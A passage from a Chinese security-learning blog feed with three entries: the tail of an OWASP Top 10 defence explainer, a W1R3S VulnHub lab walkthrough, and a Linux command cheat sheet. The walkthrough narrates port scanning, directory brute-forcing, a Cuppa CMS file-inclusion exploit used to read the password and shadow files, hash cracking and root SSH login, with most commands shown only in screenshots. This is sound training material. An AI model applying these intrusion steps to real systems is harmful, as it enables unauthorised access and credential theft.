<li><p>对API和控制器的访问进行速率限制,限制或逐渐延迟失败的登录尝试(避免高速爆破),最大限度降低自动化攻击工具的危害(也会有后续处置,比如后台发现某个ip多次异常尝试且多次失败,就把ip封了</p>
</li>
<li><p>session id 每隔一段时间就生成新的高度负责的新随机会话id。这个id不能出现在url中,登出、闲置、绝对超时的时候就使其失效</p>
<p></p>
</li>
</ol>
<p> </p>
<h3 id="👉🏻TOP8:软件和数据完整性失效-Software-and-Data-Integrity-Failures"><a href="#👉🏻TOP8:软件和数据完整性失效-Software-and-Data-Integrity-Failures" class="headerlink" title="👉🏻TOP8:软件和数据完整性失效 Software and Data Integrity Failures"></a>👉🏻TOP8:软件和数据完整性失效 Software and Data Integrity Failures</h3><p><strong>简介</strong></p>
<p>软件更新、关键资料(critical data)、持续集成/持续部署(CI/CD)流程等关键内容没有经过完整性验证导致产生的漏洞</p>
<blockquote>
<p>软件更新:指在已发布的软件版本中修复漏洞、增加功能或改进性能等目的而发布的新版本</p>
<p>关键资料:软件更新过程中使用的关键数据,比如用户隐私信息、安全凭证、加密密钥等</p>
<p>持续集成/持续部署(CI/CD)流程:旨在通过自动化构建、测试和部署流程来实现快速、频繁的软件发布。持续集成是指频繁地将开发人员的代码集成到共享存储库中,持续部署是指自动将通过测试的代码部署到生产环境中</p>
<p>没有经过完整性验证:指的是在软件更新过程中,假设了某些关键资料的完整性已经被验证,或者假设了CI/CD流程的整体安全性和正确性,而实际上并没有进行充分的验证。这样的假设可能导致漏洞或安全风险的存在</p>
</blockquote>
<p> </p>
<p><strong>常见情况</strong></p>
<ol>
<li><strong>不安全的序列化和反序列化</strong>:当对象或数据被编码或序列化成攻击者可以看到和修改的结构时,容易受到不安全的反序列化攻击</li>
<li><strong>依赖不受信任来源</strong>:应用程序来自不被信任的来源,包括一些不被信任的外部库、内容传递网络(CND)、库或者模组</li>
<li><strong>不安全的持续集成/持续部署 (CI/CD) 流程</strong>:不安全的集成/部署(CI/CD)流程可能导致未经授权的访问、恶意代码注入或系统破坏</li>
<li><strong>自动更新的安全性问题</strong>:很多应用程序会进行自动更新,在缺乏完整性验证的情况下把更新包应用到之前信任的应用程序上。这里攻击者可以上传自制的所谓“更新”内容在所有应用程序上运行,达到窃取信息等目的</li>
</ol>
<p> </p>
<p><strong>如何预防?</strong></p>
<ol>
<li>使用数字签名或者类似的机制验证软件数据来源正确且未被更改</li>
<li>使用可信任度较高的库和依赖项;确保安全工具验证组件不包含已知漏洞;尽量保证代码在构建和部署过程中的完整性;确保有代码审计和配置更改的审查流程,避免恶意代码或者恶意配置被引入软件流程</li>
<li>确保未签名或未加密的序列化数据不被发送到不受信任的客户端,除非有完整性检查或者数字签名来检测数据是否被篡改或重放。</li>
</ol>
<p> </p>
<p><strong>防范举例</strong></p>
<p>安卓手机,通过官方的应用商城安装软件相对比较安全,因为应用商城会对更新包和软件包进行检测以防范这种漏洞。如果从浏览器或者其他途径下载软件手机会警告用户软件可能不安全。</p>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP9:安全记录记录和监控失效"><a href="#👉🏻TOP9:安全记录记录和监控失效" class="headerlink" title="👉🏻TOP9:安全记录记录和监控失效"></a>👉🏻TOP9:安全记录记录和监控失效</h3><p><strong>概念</strong></p>
<p>自己内部的检查能力不足,没办法在别人攻击自己的时候发现自己被攻击了</p>
<p> </p>
<p><strong>场景</strong></p>
<ol>
<li><p>印度一家大型航空公司发生涉及数百万乘客超过十年包括护照及信用卡资料等个人资料的资料泄漏。资料泄漏发生在第三方供应商提供的云端服务,该供应商在资料泄漏发生一段时间后通知航空公司。</p>
</li>
<li><p>未记录可审计的事件,如登录、登录失败、高额交易</p>
</li>
<li><p>告警和错误事件未能产生或者产生不足和不清晰的日志信息</p>
</li>
<li><p>日志信息仅在本地存储,日志信息可能被消掉</p>
</li>
<li><p>没有利用应用系统、API的日志信息监控可以活动</p>
</li>
<li><p>对于实时或者准实时攻击,应用程序无法检测、处理和告警</p>
<p></p>
</li>
</ol>
<p><strong>防范</strong></p>
<ol>
<li><p>确保所有的登录、访问控制失效、输入验证失败能够被记录到日志中去,保留足够的用户上下文信息,识别可疑或者恶意账户,为货期取证预留时间</p>
</li>
<li><p>日志集中管理、备份</p>
</li>
<li><p>审计信息保存在只能增加不能删除的数据库中</p>
</li>
<li><p>建立有效的告警机制,使可疑活动在可接受的范围内被发现和应对</p>
<p></p>
</li>
</ol>
<h3 id="👉🏻TOP10:SSRF-服务器端请求伪造"><a href="#👉🏻TOP10:SSRF-服务器端请求伪造" class="headerlink" title="👉🏻TOP10:SSRF-服务器端请求伪造"></a>👉🏻TOP10:SSRF-服务器端请求伪造</h3><p>攻击者利用服务器上的应用程序,发送伪造请求到服务器内部或者其他内网,从而达到攻击的目的</p>
<ol>
<li><p>限制访问权限:确保服务器上的应用程序只能访问必要的资源,避免访问敏感的内部网络资源。</p>
</li>
<li><p>过滤和验证输入: 对用户输入进行有效的过滤和验证,确保输入的URL是合法的且安全的,防止攻击者利用URL参数进行攻击。</p>
</li>
<li><p>使用白名单: 配置白名单,只允许应用程序访问特定的URL或者IP地址,从而避免访问未经授权的资源。</p>
</li>
<li><p>使用防火墙和WAF: 配置防火墙和Web应用程序防火墙(WAF),监控和过滤服务器上的入站和出站流量,阻止恶意请求和攻击。</p>
</li>
<li><p>更新和维护: 定期更新和维护服务器上的软件和组件,修复已知的漏洞和安全问题</p>
<p></p>
</li>
</ol>
<p> </p>
<p><strong>XXE</strong></p>
<p>应用程序解析XML文件时包含了对外部实体的引用,攻击者传递恶意包含XML代码的文件,读取指定服务器资源</p>
<p>防范:</p>
<ol>
<li>使用简单的数据格式(如JSON),避免对敏感数据序列化</li>
<li>服务器端实行白名单验证、过滤、清除,防止在XML或者标题中出现恶意数据</li>
<li>及时更新或者修复应用程序和底层操作系统使用的所有XML处理器和库</li>
<li></li>
</ol>
<p> </p>
<h3 id="CSRF-跨站请求伪造"><a href="#CSRF-跨站请求伪造" class="headerlink" title="CSRF-跨站请求伪造"></a>CSRF-跨站请求伪造</h3><p>利用用户在某个网站上已经登录的身份,在用户不知情的情况下,在另一个网站上执行一些非法操作</p>
<p>已经在购物网站上登录,然后收到一封看起来很正常的电子邮件。点击邮件中的链接,不知不觉地执行了一个操作,比如购买了一件商品或者更改了密码</p>
<ol>
<li>在每个表单提交或者敏感操作中包含一个随机生成的Token,并在后端进行验证。这个Token在每次请求中都会发生变化,攻击者无法伪造有效的Token,从而阻止了CSRF攻击。</li>
<li>限制cookie的发送范围,只允许来自同一站点的请求携带Cookie,防止跨站请求伪造</li>
<li>服务器端对请求的Referer进行验证(HTTP头中有一个字段叫Referer,它记录了该请求的来源地址),确保请求来源合法</li>
<li>执行敏感操作的请求,需要用户进行双重确认,比如输入密码、验证码等</li>
<li>对于执行敏感操作的Session,设置短暂有效期,减少攻击者利用的时间窗口</li>
<li>使用POST方法而不是GET方法来执行敏感操作</li>
</ol>
<p> </p>
<p> </p>
<h3 id="XSS-跨站脚本攻击"><a href="#XSS-跨站脚本攻击" class="headerlink" title="XSS-跨站脚本攻击"></a>XSS-跨站脚本攻击</h3><p>将可执行的前端脚本代码(一般为JavaScript)植入到网页中,通过利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。</p>
<p>反射型:攻击者将JS代码作为请求参数放置URL中,诱导用户点击,落入陷阱<br>存储型:将攻击脚本入库存储,在后面进行查询时,再将攻击脚本渲染进网页,返回给浏览器触发执行</p>
<p>DOM型:它和反射型以及存储型XSS的区别在于,DOM XSS的代码并不需要服务器解析响应的直接参与,触发XSS靠的是浏览器的DOM解析,可以认为完全是客户端的事情。</p>
<p> </p>
<p><strong>防御方式</strong></p>
<ol>
<li>输入验证和过滤: 对用户输入的内容进行严格的验证和过滤,确保其中不包含恶意脚本。可以使用白名单过滤、转义特殊字符等方式来防止</li>
<li>输出编码:使用合适的编码方式编码,防止浏览器误将其中的内容解析为可执行的脚本。常用的编码方式包括HTML编码、URL编码等。</li>
<li>HTTP头部设置: 在HTTP响应头中设置合适的Content-Security-Policy(CSP)头部,限制页面加载的资源和执行的脚本</li>
<li>将敏感信息存储在HttpOnly Cookie中,这样即使页面存在XSS漏洞,攻击者也无法窃取到Cookie中的敏感信息。</li>
</ol>
<p> </p>
<p> </p>
<blockquote>
<p>Reference:</p>
<p>OWASP官网</p>
<p>《Web漏洞解析与攻防实战》</p>
</blockquote>
]]></content>
<tags>
<tag>owasp</tag>
</tags>
</entry>
<entry>
<title>W1R3S渗透</title>
<url>/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/</url>
<content><![CDATA[<p>环境搭建:在<a href="https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html">VMware</a> Workstation中安装<a href="https://www.kali.org/">Kali</a> linux和<a href="https://www.vulnhub.com/entry/w1r3s-101,220/">靶机w1r3s</a></p>
<p><strong>Nmap主机发现</strong></p>
<p>此命令可显示当前系统中所有网络接口的详细信息,由此可知本机IP地址: 192.168.184.134/24</p>
<p>此步骤目的是为了下一步扫描出目标靶机的IP地址</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%871.png" class title="This is an test image">
<p>扫描该子网中的所有主机,nmap 将发送 ICMP Echo Request 包(ping)到指定子网的每个 IP 地址,并根据响应来判断主机是否在线。返回结果可以看到在线主机的 IP 地址</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo: 以超级用户权限执行命令</span><br><span class="line"></span><br><span class="line">nmap: 扫描工具</span><br><span class="line"></span><br><span class="line">-sn: 表示进行主机发现而不进行端口扫描,仅打印出对扫描做出响应的主机</span><br></pre></td></tr></table></figure>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%872.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%873.png" class title="This is an test image">
<p>第一次扫描未开靶机,第二次扫描前将靶机打开,通过前后两次扫描结果的对比我们可以发现目标靶机的 ip 是 192.168.184.129</p>
<p><strong>端口扫描</strong></p>
<p>先创建(mkdir)一个目录来存放数据,再创建一个子目录来存放nmap扫描的数据</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-p:创建目标目录的上级目录</span><br><span class="line"></span><br><span class="line">cd:切换路径</span><br></pre></td></tr></table></figure>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%874.png" class title="This is an test image">
<p><strong>执行端口扫描</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-sS:表示使用TCP SYN扫描方式</span><br><span class="line"></span><br><span class="line">-p-:表示对全部端口进行扫描</span><br><span class="line"></span><br><span class="line">-oN:用于将扫描结果保存到文件(后加路径)</span><br></pre></td></tr></table></figure>
<p>可以看到四个开放的端口和对应的服务(21:ftp,22:ssh,80:http,3306:mysql)</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%875.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%876.png" class title="This is an test image">
<p>端口提取命令,为了后续方便,将各个端口提取出来放到变量中</p>
<p><strong>详细信息扫描</strong></p>
<p>显示匿名FTP登录被允许,并且有三个客户端连接。此外,还显示了一些目录的信息,例如content、docs和new-employees。</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%877.png" class title="This is an test image">
<p><strong>UDP扫描</strong></p>
<p>目的是识别目标主机上开放的UDP(User Datagram Protocol)端口。</p>
<p>结果显示,所有100个扫描的端口都处于被忽略状态。具体来说,目标主机没有对UDP端口作出明确的响应,因此无法判断端口是否开放或关闭。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-sU:udp 扫描</span><br><span class="line"></span><br><span class="line">--top-ports 100:扫描最常见的 100 个端口</span><br></pre></td></tr></table></figure>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%878.png" class title="This is an test image">
<p><strong>漏洞脚本扫描</strong></p>
<p>目的是为了发现目标系统中可能存在的漏洞。这些漏洞可能是由软件缺陷、配置错误或安全配置不当等原因引起的,攻击者可以利用这些漏洞来入侵系统、获取未授权的访问权限、窃取敏感信息或导致系统服务不可用。</p>
<p>通过http-enum脚本扫描,发现了WordPress登录页面 /wordpress/wp-login.php</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%879.png" class title="This is an test image">
<p><strong>FTP匿名登录</strong></p>
<p>目的是为了获取FTP服务器上公开的信息或文件。成功登录,获得访问FTP服务器上公开文件和文件夹的权限。</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8710.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8711.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8712.png" class title="This is an test image">
<p>查看下载下来的文件,01.txt 看到是个新的 ftp 服务器,02.txt 看到两个字符串,03.txt 是个 logo</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8713.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8714.png" class title="This is an test image">
<p>“hash-identifier”是一个用于识别哈希算法的工具,使用MD5解密,得到This is not a password</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8715.png" class title="This is an test image">
<p>使用base64解密</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8716.png" class title="This is an test image">
<p><strong>mysql 试探</strong></p>
<p>提示不允许登陆</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8717.png" class title="This is an test image">
<p><strong>Web渗透</strong></p>
<p>直接访问,看到一个 apache 的默认页面</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8718.png" class title="This is an test image">
<p>访问之前 nmap 的 http-enum 得到的 /wordpress/wp-login.php 发现是一个登陆页面,弱口令无效</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8719.png" class title="This is an test image">
<p><strong>目录爆破</strong></p>
<p>用gobuster工具进行目录爆破,用于发现目标网站上隐藏的目录和文件</p>
<p>gobuster dir:指示Gobuster使用目录模式进行枚举。</p>
<p>-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:指定用于枚举的字典文件路径。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-u http://192.168.184.12:指定要枚举的目标URL,即"[http://192.168.184.12]</span><br></pre></td></tr></table></figure>
<p>结果:</p>
<p>/wordpress</p>
<p>/javascript</p>
<p>/administrator</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8720.png" class title="This is an test image">
<p> /javascript 提示没有访问权限</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8721.png" class title="This is an test image">
<p>/administrator 看到一个安装页面,网页标题是 cuppa cms</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8722.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8723.png" class title="This is an test image">
<p><strong>cuppa cms 渗透</strong></p>
<p>SearchSploit是一个用于搜索和浏览漏洞利用数据库的命令行工具</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8724.png" class title="This is an test image">
<p>查看文件,发现文件包含漏洞</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8725.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8726.png" class title="This is an test image">
<p> 查看利用文件,发现是 /alerts/alertConfigField.php 出现了漏洞</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8727.png" class title="This is an test image">
<p>下载此漏洞,查看具体信息</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8728.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8729.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8730.png" class title="This is an test image">
<p>访问目标系统中的敏感文件(passwd存放了用户账户的信息)</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8731.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8732.png" class title="This is an test image">
<p>访问目标系统的用户密码文件</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8733.png" class title="This is an test image">
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8734.png" class title="This is an test image">
<p>John破解密码</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8735.png" class title="This is an test image">
<p>通过SSH协议连接到指定IP地址,成功登录后获取了root权限</p>
<img data-src="/2023/10/18/w1r3s%E9%9D%B6%E5%9C%BA/%E5%9B%BE%E7%89%8736.png" class title="This is an test image">
]]></content>
<tags>
<tag>Web-渗透测试</tag>
</tags>
</entry>
<entry>
<title>常用Linux命令总结</title>
<url>/2023/10/20/%E5%B8%B8%E7%94%A8Linux%E5%91%BD%E4%BB%A4/</url>
<content><![CDATA[<p>以下是Linux较全的命令收录👇🏻一些常用的不常用但是有一定概率会用到的都有收录</p>
<p>ps:之前看一个师傅说把电脑刷成Linux机的话对计算机一些底层原理的了解会更深入。比较期待未来的某一天自己有能力handle电脑*2的时候这样做:)</p>
<h4 id="速查常用Linux命令"><a href="#速查常用Linux命令" class="headerlink" title="速查常用Linux命令"></a>速查常用Linux命令</h4><table>
<thead>
<tr>
<th>ls</th>
<th>列出目录的内容</th>
</tr>
</thead>
<tbody><tr>
<td>alias</td>
<td>定义或显示别名</td>
</tr>
<tr>
<td>unalias</td>
<td>删除别名定义</td>
</tr>
<tr>
<td>pwd</td>
<td>打印工作目录</td>
</tr>
<tr>
<td>cd</td>
<td>更改目录</td>
</tr>
<tr>
<td>cp</td>
<td>复制文件和目录</td>
</tr>
<tr>
<td>rm</td>
<td>删除文件和目录</td>
</tr>
<tr>
<td>mv</td>
<td>移动(重命名)文件和目录</td>
</tr>
<tr>
<td>mkdir</td>
<td>创建目录</td>
</tr>
<tr>
<td>man</td>
<td>显示其他命令的手册页面</td>
</tr>
<tr>
<td>touch</td>
<td>创建空文件</td>
</tr>
<tr>
<td>chmod</td>
<td>更改文件权限</td>
</tr>
<tr>
<td>./</td>
<td>运行可执行文件</td>
</tr>
<tr>
<td>exit</td>
<td>退出当前shell会话</td>
</tr>
<tr>
<td>sudo</td>
<td>以超级用户身份执行命令</td>
</tr>
<tr>
<td>shutdown</td>
<td>关闭您的机器</td>
</tr>
<tr>
<td>htop</td>
<td>显示进程和资源信息</td>
</tr>
<tr>
<td>unzip</td>
<td>解压zip文件</td>
</tr>
<tr>
<td>apt,yum,pacman</td>
<td>包管理器</td>
</tr>
<tr>
<td>echo</td>
<td>显示文本行</td>
</tr>
<tr>
<td>cat</td>
<td>打印文件内容</td>
</tr>
<tr>
<td>ps</td>
<td>报告shell进程状态</td>
</tr>
<tr>
<td>kill</td>
<td>终止程序</td>
</tr>
<tr>
<td>ping</td>
<td>测试网络连接</td>
</tr>
<tr>
<td>vim</td>
<td>高效文本编辑</td>
</tr>
<tr>
<td>history</td>
<td>显示以前的命令列表</td>
</tr>
<tr>
<td>passwd</td>
<td>更改用户密码</td>
</tr>
<tr>
<td>which</td>
<td>返回程序的完整二进制路径</td>
</tr>
<tr>
<td>shred</td>
<td>覆盖文件以隐藏其内容</td>
</tr>
<tr>
<td>less</td>
<td>以交互式检查文件</td>
</tr>
<tr>
<td>tail</td>
<td>显示文件的最后几行</td>
</tr>
<tr>
<td>head</td>
<td>显示文件的第一行</td>
</tr>
<tr>
<td>grep</td>
<td>打印与给定条件匹配行</td>
</tr>
<tr>
<td>whoami</td>
<td>输出用户名</td>
</tr>
<tr>
<td>whatis</td>
<td>显示单行说明</td>
</tr>
<tr>
<td>wc</td>
<td>字数文件</td>
</tr>
<tr>
<td>uname</td>
<td>显示操作系统信息</td>
</tr>
<tr>
<td>neofetch</td>
<td>显示操作系统和硬件信息</td>
</tr>
<tr>
<td>find</td>
<td>搜索遵循模式的文件</td>
</tr>
<tr>
<td>wget</td>
<td>从互联网检索文件</td>
</tr>
</tbody></table>
<h4 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h4><ol>
<li><p><strong><code>ls</code> – 列出目录内容</strong></p>
</li>
<li><p><strong><code>cd</code> – 更改目录</strong></p>
</li>
<li><p><strong><code>mkdir</code> – 创建新目录</strong></p>
</li>
<li><p><strong><code>rmdir</code> – 删除目录</strong></p>
</li>
<li><p><strong><code>touch</code> – 创建新的空文件</strong></p>
</li>
<li><p><strong><code>cp</code> – 复制文件和目录</strong></p>
</li>
<li><p><strong><code>mv</code> – 移动或重命名文件和目录</strong></p>
</li>
<li><p><strong><code>rm</code> – 移除文件和目录</strong></p>
</li>
<li><p><strong><code>find</code></strong> <strong>– 在目录层次结构中搜索文件</strong></p>
</li>
<li><p><strong><code>du</code></strong> <strong>– 估算文件空间使用情况</strong></p>
</li>
<li><p><strong><code>grep</code></strong> <strong>命令 – 使用条件匹配搜索文本</strong></p>
</li>
<li><p><strong><code>awk</code></strong> <strong>– 条件扫描和处理语言</strong></p>
</li>
<li><p><strong><code>sed</code></strong> <strong>– 用于过滤和转换文本的流编辑器</strong></p>
</li>
<li><p><strong><code>sort</code></strong> <strong>– 对文本文件行进行排序</strong></p>
</li>
<li><p><strong><code>uniq</code></strong> <strong>– 报告或省略重复行</strong></p>
</li>
<li><p><strong><code>diff</code></strong> <strong>– 逐行比较文件</strong></p>
</li>
<li><p><strong><code>wc</code></strong> <strong>– 打印行数、字数和字节数</strong></p>
</li>
<li><p><strong><code>></code></strong> <strong>– 重定向标准输出</strong></p>
<p>重定向标准输出有助于将命令结果保存到文件中,以便存储、调试或将命令串联起来</p>
</li>
<li><p><strong><code>>></code></strong> <strong>– 追加标准输出</strong></p>
<p><code>>></code> 操作符将命令的标准输出追加到文件中,而不覆盖现有内容</p>
</li>
<li><p><strong><code><</code></strong> <strong>– 重定向标准输入</strong></p>
<p><code><</code> 重定向操作符将文件内容作为标准输入送入命令,而不是从键盘输入</p>
</li>
<li><p><strong><code>|</code></strong> <strong>– 管道输出到另一条命令</strong></p>
<p>管道 <code>|</code> 操作符将一条命令的输出作为输入发送到另一条命令,将它们串联起来</p>
<p>管道通常用于将命令串联起来,其中一个命令的输出为另一个命令的输入提供信息。这样就能从较小的单用途程序中构建出复杂的操作</p>
</li>
<li><p><strong><code>tee</code></strong> <strong>– 从标准输入读取并写入标准输出和文件</strong></p>
<p><code>tee</code> 命令将标准输入分为两个流</p>
<p>它将输入写入标准输出(显示主命令的输出),同时将副本保存到文件中</p>
<h4 id="Linux归档命令"><a href="#Linux归档命令" class="headerlink" title="Linux归档命令"></a>Linux归档命令</h4></li>
<li><p><strong><code>tar</code></strong> <strong>– 从归档文件中存储和提取文件</strong></p>
<p><code>tar</code> 命令可帮助你处理磁带归档文件(.tar)。它可以帮助你将多个文件和目录捆绑到一个压缩的 .tar 文件中</p>
</li>
<li><p><strong><code>gzip</code></strong> <strong>– 压缩或扩展文件</strong></p>
<p>gzip 命令使用 LZ77 编码压缩文件,以减小存储或传输文件的大小。使用 gzip,你可以处理 .gz 文件</p>
</li>
<li><p><strong><code>gunzip</code></strong> <strong>– 解压缩文件</strong></p>
<p><code>gunzip</code> 命令用于解压缩 .gz 文件</p>
</li>
<li><p><strong><code>zip</code></strong> <strong>– 打包和压缩文件</strong></p>
<p><code>zip</code> 命令用于创建包含压缩文件内容的 .zip 归档文件</p>
</li>
<li><p><strong><code>unzip</code></strong> <strong>– 从 ZIP 档案中提取文件</strong></p>
<p>与 <code>gunzip</code> 类似, <code>unzip</code> 命令可从 .zip 压缩文件中提取和解压缩文件</p>
<h4 id="Linux文件传输命令"><a href="#Linux文件传输命令" class="headerlink" title="Linux文件传输命令"></a>Linux文件传输命令</h4></li>
<li><p><strong><code>scp</code></strong> <strong>– 在主机间安全复制文件</strong></p>
<p><code>scp</code> (安全复制)命令通过 SSH 连接在主机间复制文件。所有数据传输都经过加密,以确保安全</p>
<h4 id="更多Linux命令"><a href="#更多Linux命令" class="headerlink" title="更多Linux命令"></a>更多Linux命令</h4></li>
<li><p><strong><code>mount</code></strong> – 将硬盘安装或 “连接 “到系统上</p>
</li>
<li><p><strong><code>umount</code></strong> – 从系统中卸载或 “移除” 硬盘。 </p>
</li>
<li><p>**<code>xargs </code>**– 生成并执行通过标准输入提供的命令。</p>
</li>
<li><p><strong><code>alias</code></strong> – 为冗长或复杂的命令创建快捷方式</p>
</li>
<li><p><strong><code>jobs</code> – 列出当前在后台运行任务的程序</strong></p>
</li>
<li><p><strong><code>bg</code> – 恢复已停止或暂停的后台进程</strong></p>
</li>
<li><p><strong><code>killall</code> – 通过程序名称而不是 PID 终止进程</strong></p>
</li>
<li><p><strong><code>history</code> – 显示当前终端会话中以前使用过的命令</strong></p>
</li>
<li><p><strong><code>man</code> – 直接在终端中访问命令的帮助手册</strong></p>
</li>
<li><p><strong><code>screen</code> – 从一个窗口管理多个终端会话。</strong></p>
</li>
<li><p><strong><code>ssh</code> – 建立与远程服务器的安全加密连接</strong></p>
</li>
<li><p><strong><code>tcpdump</code> – 根据特定标准捕获网络流量</strong></p>
</li>
<li><p><strong><code>watch</code> – 每隔一段时间重复一次命令,并突出显示输出差异</strong></p>
</li>
<li><p><strong><code>nc</code> – 打开 TCP 或 UDP 连接,进行测试和数据传输</strong></p>
</li>
<li><p><strong><code>nmap</code> – 主机发现、端口扫描和操作系统指纹</strong></p>
</li>
<li><p><strong><code>strace</code> – 通过跟踪操作系统信号和调用来调试进程</strong></p>
</li>
<li><p><strong><code>unalias</code>– 顾名思义,<code>unalias</code>命令旨在从已定义的别名中删除<code>alias</code></strong></p>
</li>
<li><p><strong><code>pwd</code>– 代表“打印工作目录”,它输出您所在目录的绝对路径</strong></p>
</li>
<li><p><strong><code>./</code> – ./ 符号本身不是命令,但在这个列表中值得一提。</strong><br>它允许shell直接从终端运行可执行文件,并在系统中安装任何解释器</p>
</li>
<li><p><strong><code>exit</code>– 自动关闭正在使用的终端</strong></p>
</li>
<li><p><strong><code>apt</code>, <code>yum</code>, <code>pacman</code> 命令</strong><br>无论使用的是哪个Linux发行版,都可能使用package管理器来安装、更新和删除每天使用的软件</p>
</li>
<li><p><strong><code>echo</code>– 在终端中显示定义的文本</strong></p>
</li>
<li><p><strong><code>cat</code>– 用于直接从终端创建、查看和连接文件。</strong></p>
<p><strong><code>cat</code></strong> 是“concatenate”的缩写,用于直接从终端创建、查看和连接文件。它主要用于在不打开图形文本编辑器的情况下预览文件</p>
</li>
<li><p><strong><code>vim</code>– 使用高效的键绑定编辑纯文本文件</strong></p>
</li>
<li><p><strong><code>which</code>– 输出shell命令的完整路径。</strong><br><code>which</code>命令输出shell命令的完整路径</p>
</li>
<li><p><strong><code>shred</code>– 此命令会重复覆盖文件的内容。</strong><br>此命令会重复覆盖文件的内容,给定的文件极难恢复</p>
</li>
<li><p><strong><code>tail</code>– 打印文件内容后几行</strong></p>
</li>
<li><p><strong><code>head</code>– 输出文本文件的前10行</strong></p>
</li>
<li><p><strong><code>whatis</code>– 打印任何其他命令的说明</strong></p>
</li>
<li><p><strong><code>neofetch</code>– CLI(命令行界面)工具。</strong><br>Neofetch是一个CLI(命令行界面)工具,它在Linux发行版的ASCII徽标旁边显示有关系统的信息,如内核版本、shell和硬件</p>
</li>
<li><p><strong><code>less</code>– 允许您前后检查文件的程序</strong></p>
</li>
<li><p><strong><code>tmux</code> – 用于持续会话和分割的终端多路复用器</strong></p>
</li>
</ol>
<p> </p>
<p> </p>
<blockquote>
<p>Reference:</p>
<p>自查用,部分内容取自知乎,侵删。😆</p>
</blockquote>
]]></content>
<tags>
<tag>levelup</tag>
</tags>
</entry>
<entry>